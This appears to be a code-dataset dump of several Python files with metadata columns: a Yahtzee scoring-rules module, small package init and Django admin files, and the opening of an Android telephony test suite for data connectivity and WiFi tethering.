until the rule is scored. face_value : int Face value needed on a die to be counted in this rule's score. """ def __init__(self, name: str, face_value: int, section: Section = Section.UPPER): super().__init__(name=name, section=section) self.face_value = face_value def _scoring_func(self, dice: DiceList) -> int: """Method for calculating a dice-dependent score. Scores as the sum of all showing faces which match the given face value. Parameters ---------- dice : list of Die A set of dice to score. Returns ------- score : int The score resulting from the dice, based on the rule. """ return _sum_matching_faces(dice=dice, face_value=self.face_value) def validate(self, dice: DiceList) -> bool: """Method to check that the desired pattern is present in the given dice. Always validates, since Multiples can score for any dice. Parameters ---------- dice : list of Die A set of dice to check. Returns ------- valid_dice : bool Whether the dice are valid for the given rule or not. Since a Multiple will naturally score ``0`` with no matching dice, this will always return `True`. """ # Any dice combo is valid return True class NofKindScoringRule(VariablePatternScoringRule): """Rules which look for n-of-a-kind of a face value, without explicitly specifying the desired face value. Parameters ---------- name : str Name to identify the rule. section : Section, default LOWER Section of the scoresheet which the rule belongs to. n : int Number of matching dice needed for this rule - the "n" in "n-of-a-kind". Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. n : int Number of matching dice needed for this rule - the "n" in "n-of-a-kind". """ def __init__(self, name: str, n: int, section: Section = Section.LOWER): super().__init__(name=name, section=section) self.n = n def _scoring_func(self, dice: DiceList) -> int: """Method for calculating a dice-dependent score. Parameters ---------- dice : list of Die A set of dice to score. Returns ------- score : int The score resulting from the dice, based on the rule. """ return _sum_all_showing_faces(dice=dice) def validate(self, dice: DiceList) -> bool: """Method to check that the desired pattern is present in the given dice. Validates if an n-of-a-kind is present, or if any m-of-a-kind is present (``m > n``). Parameters ---------- dice : list of Die A set of dice to check. Returns ------- valid_dice : bool Whether the dice are valid for the given rule or not. Since m-of-a-kinds (``m > n``) are still valid for a given n, returns `True` if any m-of-a-kind is present, ``m >= n``. """ n_or_more_kind_present = [ vl.validate_nofkind(dice=dice, n=x) for x in range(self.n, len(dice) + 1) ] return any(n_or_more_kind_present) class YahtzeeScoringRule(ConstantPatternScoringRule): """Rules which look for a Yahtzee (5-of-a-kind). Parameters ---------- name : str Name to identify the rule. section : Section, default LOWER Section of the scoresheet which the rule belongs to. score_value : int, default SCORE_YAHTZEE The value of the rule if scored with a valid set of dice. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. score_value : int The value of the rule if scored with a valid set of dice. """ def __init__( self, name: str, section: Section = Section.LOWER, score_value: int = SCORE_YAHTZEE ): super().__init__(name=name, section=section, score_value=score_value) def validate(self, dice: DiceList) -> bool: """Method to check that the desired pattern is present in the given dice. Validates if a Yahtzee (5-of-a-kind) is present. Parameters ---------- dice : list of Die A set of dice to check. Returns ------- valid_dice : bool Whether the dice are valid for the given rule or not. Returns `True` if all dice are the same. """ return vl.validate_nofkind(dice=dice, n=len(dice)) class FullHouseScoringRule(ConstantPatternScoringRule): """Rules which look for a full house (m-of-a-kind and n-of-a-kind, ``m > n``). Parameters ---------- name : str Name to identify the rule. section : Section, default LOWER Section of the scoresheet which the rule belongs to. score_value : int, default SCORE_FULL_HOUSE The value of the rule if scored with a valid set of dice. large_n : int, default 3 N for the larger n-of-a-kind required for the full house. small_n : int, default 2 N for the smaller n-of-a-kind required for the full house. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. score_value : int The value of the rule if scored with a valid set of dice. large_n : int N for the larger n-of-a-kind required for the full house. small_n : int N for the smaller n-of-a-kind required for the full house. """ def __init__( self, name: str, section: Section = Section.LOWER, large_n: int = 3, small_n: int = 2, score_value: int = SCORE_FULL_HOUSE ): super().__init__(name=name, section=section, score_value=score_value) self.large_n = large_n self.small_n = small_n def validate(self, dice: DiceList) -> bool: """Method to check that the desired pattern is present in the given dice. Validates if a full house (m-of-a-kind and n-of-a-kind, ``m > n``) is present. Parameters ---------- dice : list of Die A set of dice to check. Returns ------- valid_dice : bool Whether the dice are valid for the given rule or not. Returns `True` if an two n-of-a-kinds are present, of sizes `large_n` and `small_n`. """ return vl.validate_full_house( dice=dice, large_n=self.large_n, small_n=self.small_n ) class LargeStraightScoringRule(ConstantPatternScoringRule): """Rules which look for a large straight (5 dice sequence). Parameters ---------- name : str Name to identify the rule. section : Section, default LOWER Section of the scoresheet which the rule belongs to. score_value : int, default SCORE_LARGE_STRAIGHT The value of the rule if scored with a valid set of dice. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. score_value : int The value of the rule if scored with a valid set of dice. """ def __init__( self, name: str, section: Section = Section.LOWER, score_value: int = SCORE_LARGE_STRAIGHT ): super().__init__(name=name, section=section, score_value=score_value) def validate(self, dice: DiceList) -> bool: """Method to check that the desired pattern is present in the given dice. Validates if a large straight (5 consecutive values in 5 dice) is present. Parameters ---------- dice : list of Die A set of dice to check. Returns ------- valid_dice : bool Whether the dice are valid for the given rule or not. Returns `True` if all dice are sequential and unique. """ return vl.validate_large_straight(dice=dice) class SmallStraightScoringRule(ConstantPatternScoringRule): """Rules which look for a small straight (4 dice sequence). Parameters ---------- name : str Name to identify the rule. section : Section, default LOWER Section of the scoresheet which the rule belongs to. score_value : int, default SCORE_SMALL_STRAIGHT The value of the rule if scored with a valid set of dice. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. score_value : int The value of the rule if scored with a valid set of dice. """ def __init__( self, name: str, section: Section = Section.LOWER, score_value: int = SCORE_SMALL_STRAIGHT ): super().__init__(name=name, section=section, score_value=score_value) def validate(self, dice: DiceList) -> bool: """Method to check that the desired pattern is present in the given dice. Validates if a small straight (4 consecutive values in 5 dice) is present. Parameters ---------- dice : list of Die A set of dice to check. Returns ------- valid_dice : bool Whether the dice are valid for the given rule or not. Returns `True` if all-but-one of the dice are sequential and unique. """ return vl.validate_small_straight(dice=dice) def _sum_all_showing_faces(dice: DiceList) -> int: """Sums all the showing faces for a set of dice. Parameters ---------- dice : list of Die A set of dice to sum. Returns ------- dice_sum : int The sum of all showing faces for the given dice. """ return sum([die.showing_face for die in dice if die]) def _sum_matching_faces(dice: DiceList, face_value: int) -> int: """Sums all the showing faces which match a given value, for a set of dice. Parameters ---------- dice : list of Die A set of dice to sum. Returns ------- dice_sum : int The sum of all showing faces for the given dice whose showing face matches the given value. """ matching_dice = vl.find_matching_dice(dice=dice, face_value=face_value) return _sum_all_showing_faces(dice=matching_dice) class BonusRule(ABC): """Generic rule for scoring a bonus. Parameters ---------- name : str Name to identify the rule. section : Section Section of the scoresheet which the rule belongs to. bonus_value : int Value used to score the bonus. Depending on the specific type of bonus, this is either a constant score, or is multipled with a counter to get the total bonus score. counter : int Tally used in scoring the bonus. Depending on the specific type of bonus, this is either compared against a threshold value, or is multiplied with the `bonus_value` to get the total bonus score. req_rules : list of ScoringRule, optional Rules which influence the counter. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. bonus_value : int Value used to score the bonus. counter : int Tally used in scoring the bonus. req_rules : list of ScoringRule Rules which influence the counter. """ def __init__( self, name: str, section: Section, bonus_value: int, counter: int = 0, req_rules: Optional[List[ScoringRule]] = None ): self.name = name self.section = section self.bonus_value = bonus_value self.counter = counter self.req_rules = req_rules self.rule_score: Optional[int] = None def increment(self, amt: int = 1) -> None: """Method to increment the internal counter. Parameters ---------- amt : int, default 1 Amount by which to increment `counter`. """ self.counter += amt return None def score(self) -> None: """Method to score a given bonus, and update the associated score value. Raises ------ RuleAlreadyScoredError If the rule has already been scored. """ if self._check_rule_not_scored(): self.rule_score = self._score_bonus() else: raise er.RuleAlreadyScoredError( f"Rule {self.name} has already been scored." ) return None @abstractmethod def _score_bonus(self) -> int: """Method to score a bonus rule. Returns ------- score_value : int Score returned from the bonus scoring logic. """ pass # pragma: no cover def _check_rule_not_scored(self) -> bool: """Verifies that the rule has not already been scored. Returns ------- rule_not_scored : bool Whether or not the rule has been scored yet. Returns `True` if not scored, `False` if scored. """ return self.rule_score is None class ThresholdBonusRule(BonusRule): """Rule for a bonus of which gives points for exceeding a threshold. Parameters ---------- name : str Name to identify the rule. section : Section, default UPPER Section of the scoresheet which the rule belongs to. bonus_value : int, default BONUS_UPPER_SCORE Value used to score the bonus. Depending on the specific type of bonus, this is either a constant score, or is multipled with a counter to get the total bonus score. counter : int Tally used in scoring the bonus. Depending on the specific type of bonus, this is either compared against a threshold value, or is multiplied with the `bonus_value` to get the total bonus score. req_rules : list of ScoringRule, optional Rules which influence the counter. threshold : int, default BONUS_UPPER_THRESHOLD Threshold to determine if bonus is awarded. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. bonus_value : int Value used to score the bonus. counter : int Tally used in scoring the bonus. req_rules : list of ScoringRule Rules which influence the counter. threshold : int Threshold to determine if bonus is awarded. """ def __init__( self, name: str, section: Section = Section.UPPER, threshold: int = BONUS_UPPER_THRESHOLD, bonus_value: int = BONUS_UPPER_SCORE, counter: int = 0, req_rules: Optional[List[ScoringRule]] = None ): super().__init__( name=name, section=section, bonus_value=bonus_value, counter=counter, req_rules=req_rules ) self.threshold = threshold def _score_bonus(self) -> int: """Method to score a threshold bonus rule. Scores as the bonus value if the counter meets the threshold, 0 otherwise. Returns ------- score_value : int Score returned from the bonus scoring logic. If `counter` meets `threshold`, return `bonus_value`, otherwise ``0``. """ if self.counter >= self.threshold: return self.bonus_value else: return 0 class CountBonusRule(BonusRule): """Rule for a bonus which gives a point value per a count of something. Parameters ---------- name : str Name to identify the rule. section : Section, default LOWER Section of the scoresheet which the rule belongs to. bonus_value : int, default BONUS_LOWER_SCORE Value used to score the bonus. Depending on the specific type of bonus, this is either a constant score, or is multipled with a counter to get the total bonus score. counter : int Tally used in scoring the bonus. Depending on the specific type of bonus, this is either compared against a threshold value, or is multiplied with the `bonus_value` to get the total bonus score. req_rules : list of ScoringRule, optional Rules which influence the counter. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. bonus_value : int Value used to score the bonus. counter : int Tally used in scoring the bonus. req_rules : list of ScoringRule Rules which influence the counter. """ def __init__( self, name: str, section: Section = Section.LOWER, bonus_value: int = BONUS_LOWER_SCORE, counter: int = 0, req_rules: Optional[List[ScoringRule]] = None, ): super().__init__( name=name, section=section, bonus_value=bonus_value, counter=counter, req_rules=req_rules ) def _score_bonus(self) -> int: """Method to score a count-based bonus. Scores as a counter times the bonus value. Returns ------- score_value : int Score returned from the bonus scoring logic. Simply `counter` times `bonus_value`. """ return self.counter * self.bonus_value class YahtzeeBonusRule(CountBonusRule): """Counting bonus rule, specifically for additional Yahtzees rolled after a `YahtzeeScoringRule` has been scored. Parameters ---------- name : str Name to identify the rule. section : Section, default LOWER Section of the scoresheet which the rule belongs to. bonus_value : int, default BONUS_YAHTZEE_SCORE Value used to score the bonus. Depending on the specific type of bonus, this is either a constant score, or is multipled with a counter to get the total bonus score. counter : int Tally used in scoring the bonus. Depending on the specific type of bonus, this is either compared against a threshold value, or is multiplied with the `bonus_value` to get the total bonus score. req_rules : list of ScoringRule, optional Rules which influence the counter. yahtzee_rule : YahtzeeScoringRule The Yahtzee rule associated with the bonus. Used to check if a Yahtzee has already been scored, which impacts how the bonus is scored. Attributes ---------- name : str Name of the rule. section : Section Scoresheet section which the rule belongs to. rule_score : int Current scored value for the rule. Returns `None` until the rule is scored. bonus_value : int Value used to score the bonus. counter : int Tally used in scoring the bonus. req_rules : list of ScoringRule Rules which influence the counter. yahtzee_rule : YahtzeeScoringRule The Yahtzee rule associated with the bonus. """ def __init__( self, name: str, yahtzee_rule: YahtzeeScoringRule, bonus_value: int = BONUS_YAHTZEE_SCORE, section: Section = Section.LOWER, counter: int = 0, ): super().__init__( name=name, section=section, bonus_value=bonus_value, counter=counter, req_rules=None ) self.yahtzee_rule = yahtzee_rule

30.033916

86

0.598159

3,725

29,223

4.591678

0.065235

0.043382

0.018417

0.034378

0.815716

0.793499

0.771223

0.752105

0.745323

0.733571

0

0.002074

0.323512

29,223

972

87

30.064815

0.863119

0.599288

0

0.577093

0

0.011036

0

1

0.171806

false

0.017621

0.026432

0

0.378855

0

null

0

1

0

null

0

6

d8694a124fb127c29a30ed48a89e6bb3e9f14006

420

py

Python

src/tests/Devices/__init__.py

rCorvidae/OrionPI

1ef5d786d7ae55bf92a8da62d8da28af706f4713

[ "MIT" ]

null

src/tests/Devices/__init__.py

rCorvidae/OrionPI

1ef5d786d7ae55bf92a8da62d8da28af706f4713

[ "MIT" ]

null

src/tests/Devices/__init__.py

rCorvidae/OrionPI

1ef5d786d7ae55bf92a8da62d8da28af706f4713

[ "MIT" ]

null

from tests.Devices.Containers.TestContainersReceivingSerialDataAndObserverPattern import TestContainersReceivingSerialDataAndObserverPattern from .Containers import * from .Manipulator import * from .Propulsion import * from .TestDeviceAbstractObserverPattern import TestDeviceAbstractObserverPattern from .TestDeviceManagerFactory import TestDeviceManagerFactory from .TestDeviceWholesale import TestDeviceGrossSeller

46.666667

140

0.902381

28

420

13.535714

0.428571

0.079156

0

0.069048

420

8

141

52.5

0.969309

0

1

0

true

0

1

0

1

0

1

0

1

null

0

1

0

null

0

1

0

1

0

1

0

6

d8d18dfa4c9246833a62794007cf5031f594e953

94

py

Python

visualize/admin.py

craig8196/topicalguide

8d8a2add7ca5125d6571d66d82235e52be81613f

[ "PostgreSQL" ]

12

2015-03-12T15:33:44.000Z

2021-01-11T07:57:48.000Z

visualize/admin.py

craig8196/topicalguide

8d8a2add7ca5125d6571d66d82235e52be81613f

[ "PostgreSQL" ]

49

2015-02-05T12:14:28.000Z

2016-06-14T22:35:32.000Z

visualize/admin.py

craig8196/topicalguide

8d8a2add7ca5125d6571d66d82235e52be81613f

[ "PostgreSQL" ]

11

2015-03-25T23:24:12.000Z

2017-08-02T00:03:10.000Z

from django.contrib import admin from visualize.models import * admin.site.register(Dataset)

18.8

32

0.819149

13

94

5.923077

0.769231

0.285714

0

0.106383

94

4

33

23.5

0.916667

0

1

0

true

0

0.666667

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

2b05f4460620cd386aad959f4a1786504f984ce7

42

py

Python

models/SOTAs/NLP/TransFormer.py

XiaoleiDiao/LowLevelVision-Pipeline-pytorch

5b04fb75641d02638feccefc2eec4cecf495ced2

[ "MIT" ]

2

2022-03-29T14:03:16.000Z

2022-03-29T14:03:54.000Z

models/SOTAs/NLP/TransFormer.py

XiaoleiDiao/LowLevelVision-Pipeline-pytorch

5b04fb75641d02638feccefc2eec4cecf495ced2

[ "MIT" ]

null

models/SOTAs/NLP/TransFormer.py

XiaoleiDiao/LowLevelVision-Pipeline-pytorch

5b04fb75641d02638feccefc2eec4cecf495ced2

[ "MIT" ]

1

2022-03-29T14:05:16.000Z

import torch from torch import nn, einsum

21

28

0.809524

7

42

4.857143

0.714286

0

0.166667

42

2

28

21

0.971429

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

2b335eb452c5cb50ea89edbf56da4aa1f16b3e1c

43

py

Python

app/admin/__init__.py

davidgacc/docusign

e63167101656d0066d481844576ce687ea80eb91

[ "MIT" ]

21

2020-05-13T21:08:44.000Z

2022-02-18T01:32:16.000Z

app/admin/__init__.py

davidgacc/docusign

e63167101656d0066d481844576ce687ea80eb91

[ "MIT" ]

8

2020-11-23T09:28:04.000Z

2022-02-02T12:04:08.000Z

app/admin/__init__.py

davidgacc/docusign

e63167101656d0066d481844576ce687ea80eb91

[ "MIT" ]

26

2020-05-12T22:20:01.000Z

2022-03-09T10:57:27.000Z

from .utils import create_admin_api_client

21.5

42

0.883721

7

43

5

1

0

0.093023

43

1

43

0.897436

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

2b5d437aa0615a812e1152adeff19b2576124346

95,094

py

Python

test/connectivity/acts/tests/google/tel/live/TelLiveDataTest.py

Keneral/atools

055e76621340c7dced125e9de56e2645b5e1cdfb

[ "Unlicense" ]

null

test/connectivity/acts/tests/google/tel/live/TelLiveDataTest.py

Keneral/atools

055e76621340c7dced125e9de56e2645b5e1cdfb

[ "Unlicense" ]

null

test/connectivity/acts/tests/google/tel/live/TelLiveDataTest.py

Keneral/atools

055e76621340c7dced125e9de56e2645b5e1cdfb

[ "Unlicense" ]

1

2018-02-24T19:13:01.000Z

#!/usr/bin/env python3.4 # # Copyright 2016 - Google # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Test Script for Telephony Pre Check In Sanity """ import time from acts.base_test import BaseTestClass from queue import Empty from acts.test_utils.tel.tel_subscription_utils import \ get_subid_from_slot_index from acts.test_utils.tel.tel_subscription_utils import set_subid_for_data from acts.test_utils.tel.TelephonyBaseTest import TelephonyBaseTest from acts.test_utils.tel.tel_defines import DIRECTION_MOBILE_ORIGINATED from acts.test_utils.tel.tel_defines import DIRECTION_MOBILE_TERMINATED from acts.test_utils.tel.tel_defines import DATA_STATE_CONNECTED from acts.test_utils.tel.tel_defines import GEN_2G from acts.test_utils.tel.tel_defines import GEN_3G from acts.test_utils.tel.tel_defines import GEN_4G from acts.test_utils.tel.tel_defines import NETWORK_SERVICE_DATA from acts.test_utils.tel.tel_defines import NETWORK_SERVICE_VOICE from acts.test_utils.tel.tel_defines import RAT_2G from acts.test_utils.tel.tel_defines import RAT_3G from acts.test_utils.tel.tel_defines import RAT_4G from acts.test_utils.tel.tel_defines import RAT_FAMILY_LTE from acts.test_utils.tel.tel_defines import SIM1_SLOT_INDEX from acts.test_utils.tel.tel_defines import SIM2_SLOT_INDEX from acts.test_utils.tel.tel_defines import MAX_WAIT_TIME_NW_SELECTION from acts.test_utils.tel.tel_defines import MAX_WAIT_TIME_TETHERING_ENTITLEMENT_CHECK from acts.test_utils.tel.tel_defines import MAX_WAIT_TIME_WIFI_CONNECTION from acts.test_utils.tel.tel_defines import TETHERING_MODE_WIFI from acts.test_utils.tel.tel_defines import WAIT_TIME_AFTER_REBOOT from acts.test_utils.tel.tel_defines import WAIT_TIME_ANDROID_STATE_SETTLING from acts.test_utils.tel.tel_defines import WAIT_TIME_BETWEEN_REG_AND_CALL from acts.test_utils.tel.tel_defines import \ WAIT_TIME_DATA_STATUS_CHANGE_DURING_WIFI_TETHERING from acts.test_utils.tel.tel_defines import WAIT_TIME_TETHERING_AFTER_REBOOT from acts.test_utils.tel.tel_data_utils import airplane_mode_test from acts.test_utils.tel.tel_data_utils import change_data_sim_and_verify_data from acts.test_utils.tel.tel_data_utils import data_connectivity_single_bearer from acts.test_utils.tel.tel_data_utils import ensure_wifi_connected from acts.test_utils.tel.tel_data_utils import tethering_check_internet_connection from acts.test_utils.tel.tel_data_utils import wifi_cell_switching from acts.test_utils.tel.tel_data_utils import wifi_tethering_cleanup from acts.test_utils.tel.tel_data_utils import wifi_tethering_setup_teardown from acts.test_utils.tel.tel_test_utils import WifiUtils from acts.test_utils.tel.tel_test_utils import call_setup_teardown from acts.test_utils.tel.tel_test_utils import ensure_phones_default_state from acts.test_utils.tel.tel_test_utils import ensure_phones_idle from acts.test_utils.tel.tel_test_utils import ensure_network_generation from acts.test_utils.tel.tel_test_utils import \ ensure_network_generation_for_subscription from acts.test_utils.tel.tel_test_utils import get_slot_index_from_subid from acts.test_utils.tel.tel_test_utils import get_network_rat_for_subscription from acts.test_utils.tel.tel_test_utils import hangup_call from acts.test_utils.tel.tel_test_utils import multithread_func from acts.test_utils.tel.tel_test_utils import set_call_state_listen_level from acts.test_utils.tel.tel_test_utils import setup_sim from acts.test_utils.tel.tel_test_utils import toggle_airplane_mode from acts.test_utils.tel.tel_test_utils import toggle_volte from acts.test_utils.tel.tel_test_utils import verify_http_connection from acts.test_utils.tel.tel_test_utils import verify_incall_state from acts.test_utils.tel.tel_test_utils import wait_for_cell_data_connection from acts.test_utils.tel.tel_test_utils import wait_for_network_rat from acts.test_utils.tel.tel_test_utils import \ wait_for_voice_attach_for_subscription from acts.test_utils.tel.tel_test_utils import \ wait_for_data_attach_for_subscription from acts.test_utils.tel.tel_test_utils import wait_for_wifi_data_connection from acts.test_utils.tel.tel_voice_utils import is_phone_in_call_3g from acts.test_utils.tel.tel_voice_utils import is_phone_in_call_csfb from acts.test_utils.tel.tel_voice_utils import is_phone_in_call_volte from acts.test_utils.tel.tel_voice_utils import phone_setup_voice_3g from acts.test_utils.tel.tel_voice_utils import phone_setup_csfb from acts.test_utils.tel.tel_voice_utils import phone_setup_voice_general from acts.test_utils.tel.tel_voice_utils import phone_setup_volte from acts.test_utils.wifi.wifi_test_utils import WifiEnums from acts.utils import disable_doze from acts.utils import enable_doze from acts.utils import load_config from acts.utils import rand_ascii_str class TelLiveDataTest(TelephonyBaseTest): def __init__(self, controllers): TelephonyBaseTest.__init__(self, controllers) self.tests = ("test_airplane_mode", "test_4g", "test_3g", "test_2g", "test_lte_wifi_switching", "test_wcdma_wifi_switching", "test_gsm_wifi_switching", "test_wifi_connect_disconnect", "test_lte_multi_bearer", "test_wcdma_multi_bearer", "test_2g_wifi_not_associated", "test_3g_wifi_not_associated", "test_4g_wifi_not_associated", # WiFi Tethering tests "test_tethering_entitlement_check", "test_tethering_2g_to_2gwifi", "test_tethering_2g_to_5gwifi", "test_tethering_3g_to_5gwifi", "test_tethering_3g_to_2gwifi", "test_tethering_4g_to_5gwifi", "test_tethering_4g_to_2gwifi", "test_tethering_4g_to_2gwifi_2clients", "test_toggle_apm_during_active_wifi_tethering", "test_toggle_data_during_active_wifi_tethering", "test_disable_wifi_tethering_resume_connected_wifi", "test_tethering_wifi_ssid_quotes", "test_tethering_wifi_no_password", "test_tethering_wifi_password_escaping_characters", "test_tethering_wifi_ssid", "test_tethering_wifi_password", "test_tethering_wifi_volte_call", "test_tethering_wifi_csfb_call", "test_tethering_wifi_3g_call", "test_tethering_wifi_reboot", "test_connect_wifi_start_tethering_wifi_reboot", "test_connect_wifi_reboot_start_tethering_wifi", "test_tethering_wifi_screen_off_enable_doze_mode", # stress tests "test_4g_stress", "test_3g_stress", "test_lte_multi_bearer_stress", "test_wcdma_multi_bearer_stress", "test_tethering_4g_to_2gwifi_stress",) self.stress_test_number = int(self.user_params["stress_test_number"]) self.wifi_network_ssid = self.user_params["wifi_network_ssid"] try: self.wifi_network_pass = self.user_params["wifi_network_pass"] except KeyError: self.wifi_network_pass = None @TelephonyBaseTest.tel_test_wrap def test_airplane_mode(self): """ Test airplane mode basic on Phone and Live SIM. Ensure phone attach, data on, WiFi off and verify Internet. Turn on airplane mode to make sure detach. Turn off airplane mode to make sure attach. Verify Internet connection. Returns: True if pass; False if fail. """ return airplane_mode_test(self.log, self.android_devices[0]) @TelephonyBaseTest.tel_test_wrap def test_lte_wifi_switching(self): """Test data connection network switching when phone camped on LTE. Ensure phone is camped on LTE Ensure WiFi can connect to live network, Airplane mode is off, data connection is on, WiFi is on. Turn off WiFi, verify data is on cell and browse to google.com is OK. Turn on WiFi, verify data is on WiFi and browse to google.com is OK. Turn off WiFi, verify data is on cell and browse to google.com is OK. Returns: True if pass. """ return wifi_cell_switching(self.log, self.android_devices[0], self.wifi_network_ssid, self.wifi_network_pass, GEN_4G) @TelephonyBaseTest.tel_test_wrap def test_wcdma_wifi_switching(self): """Test data connection network switching when phone camped on WCDMA. Ensure phone is camped on WCDMA Ensure WiFi can connect to live network, Airplane mode is off, data connection is on, WiFi is on. Turn off WiFi, verify data is on cell and browse to google.com is OK. Turn on WiFi, verify data is on WiFi and browse to google.com is OK. Turn off WiFi, verify data is on cell and browse to google.com is OK. Returns: True if pass. """ return wifi_cell_switching(self.log, self.android_devices[0], self.wifi_network_ssid, self.wifi_network_pass, GEN_3G) @TelephonyBaseTest.tel_test_wrap def test_gsm_wifi_switching(self): """Test data connection network switching when phone camped on GSM. Ensure phone is camped on GSM Ensure WiFi can connect to live network,, Airplane mode is off, data connection is on, WiFi is on. Turn off WiFi, verify data is on cell and browse to google.com is OK. Turn on WiFi, verify data is on WiFi and browse to google.com is OK. Turn off WiFi, verify data is on cell and browse to google.com is OK. Returns: True if pass. """ return wifi_cell_switching(self.log, self.android_devices[0], self.wifi_network_ssid, self.wifi_network_pass, GEN_2G) @TelephonyBaseTest.tel_test_wrap def test_lte_multi_bearer(self): """Test LTE data connection before call and in call. (VoLTE call) Turn off airplane mode, disable WiFi, enable Cellular Data. Make sure phone in LTE, verify Internet. Initiate a voice call. verify Internet. Disable Cellular Data, verify Internet is inaccessible. Enable Cellular Data, verify Internet. Hangup Voice Call, verify Internet. Returns: True if success. False if failed. """ if not phone_setup_volte(self.log, self.android_devices[0]): self.log.error("Failed to setup VoLTE") return False return self._test_data_connectivity_multi_bearer(GEN_4G) @TelephonyBaseTest.tel_test_wrap def test_wcdma_multi_bearer(self): """Test WCDMA data connection before call and in call. Turn off airplane mode, disable WiFi, enable Cellular Data. Make sure phone in WCDMA, verify Internet. Initiate a voice call. verify Internet. Disable Cellular Data, verify Internet is inaccessible. Enable Cellular Data, verify Internet. Hangup Voice Call, verify Internet. Returns: True if success. False if failed. """ return self._test_data_connectivity_multi_bearer(GEN_3G) @TelephonyBaseTest.tel_test_wrap def test_gsm_multi_bearer_mo(self): """Test gsm data connection before call and in call. Turn off airplane mode, disable WiFi, enable Cellular Data. Make sure phone in GSM, verify Internet. Initiate a MO voice call. Verify there is no Internet during call. Hangup Voice Call, verify Internet. Returns: True if success. False if failed. """ return self._test_data_connectivity_multi_bearer(GEN_2G, False, DIRECTION_MOBILE_ORIGINATED) @TelephonyBaseTest.tel_test_wrap def test_gsm_multi_bearer_mt(self): """Test gsm data connection before call and in call. Turn off airplane mode, disable WiFi, enable Cellular Data. Make sure phone in GSM, verify Internet. Initiate a MT voice call. Verify there is no Internet during call. Hangup Voice Call, verify Internet. Returns: True if success. False if failed. """ return self._test_data_connectivity_multi_bearer(GEN_2G, False, DIRECTION_MOBILE_TERMINATED) @TelephonyBaseTest.tel_test_wrap def test_wcdma_multi_bearer_stress(self): """Stress Test WCDMA data connection before call and in call. This is a stress test for "test_wcdma_multi_bearer". Default MINIMUM_SUCCESS_RATE is set to 95%. Returns: True stress pass rate is higher than MINIMUM_SUCCESS_RATE. False otherwise. """ ads = self.android_devices MINIMUM_SUCCESS_RATE = .95 success_count = 0 fail_count = 0 for i in range(1, self.stress_test_number + 1): ensure_phones_default_state( self.log, [self.android_devices[0], self.android_devices[1]]) if self.test_wcdma_multi_bearer(): success_count += 1 result_str = "Succeeded" else: fail_count += 1 result_str = "Failed" self.log.info("Iteration {} {}. Current: {} / {} passed.".format( i, result_str, success_count, self.stress_test_number)) self.log.info("Final Count - Success: {}, Failure: {} - {}%".format( success_count, fail_count, str(100 * success_count / ( success_count + fail_count)))) if success_count / ( success_count + fail_count) >= MINIMUM_SUCCESS_RATE: return True else: return False @TelephonyBaseTest.tel_test_wrap def test_lte_multi_bearer_stress(self): """Stress Test LTE data connection before call and in call. (VoLTE call) This is a stress test for "test_lte_multi_bearer". Default MINIMUM_SUCCESS_RATE is set to 95%. Returns: True stress pass rate is higher than MINIMUM_SUCCESS_RATE. False otherwise. """ ads = self.android_devices MINIMUM_SUCCESS_RATE = .95 success_count = 0 fail_count = 0 for i in range(1, self.stress_test_number + 1): ensure_phones_default_state( self.log, [self.android_devices[0], self.android_devices[1]]) if self.test_lte_multi_bearer(): success_count += 1 result_str = "Succeeded" else: fail_count += 1 result_str = "Failed" self.log.info("Iteration {} {}. Current: {} / {} passed.".format( i, result_str, success_count, self.stress_test_number)) self.log.info("Final Count - Success: {}, Failure: {} - {}%".format( success_count, fail_count, str(100 * success_count / ( success_count + fail_count)))) if success_count / ( success_count + fail_count) >= MINIMUM_SUCCESS_RATE: return True else: return False def _test_data_connectivity_multi_bearer(self, nw_gen, simultaneous_voice_data=True, call_direction=DIRECTION_MOBILE_ORIGINATED): """Test data connection before call and in call. Turn off airplane mode, disable WiFi, enable Cellular Data. Make sure phone in <nw_gen>, verify Internet. Initiate a voice call. if simultaneous_voice_data is True, then: Verify Internet. Disable Cellular Data, verify Internet is inaccessible. Enable Cellular Data, verify Internet. if simultaneous_voice_data is False, then: Verify Internet is not available during voice call. Hangup Voice Call, verify Internet. Returns: True if success. False if failed. """ class _LocalException(Exception): pass ad_list = [self.android_devices[0], self.android_devices[1]] ensure_phones_idle(self.log, ad_list) if not ensure_network_generation_for_subscription(self.log, self.android_devices[0], self.android_devices[0].droid.subscriptionGetDefaultDataSubId(), nw_gen, MAX_WAIT_TIME_NW_SELECTION, NETWORK_SERVICE_DATA): self.log.error("Device failed to reselect in {}s.".format( MAX_WAIT_TIME_NW_SELECTION)) return False if not wait_for_voice_attach_for_subscription( self.log, self.android_devices[0], self.android_devices[ 0].droid.subscriptionGetDefaultVoiceSubId(), MAX_WAIT_TIME_NW_SELECTION): return False self.log.info("Step1 WiFi is Off, Data is on Cell.") toggle_airplane_mode(self.log, self.android_devices[0], False) WifiUtils.wifi_toggle_state(self.log, self.android_devices[0], False) self.android_devices[0].droid.telephonyToggleDataConnection(True) if (not wait_for_cell_data_connection(self.log, self.android_devices[0], True) or not 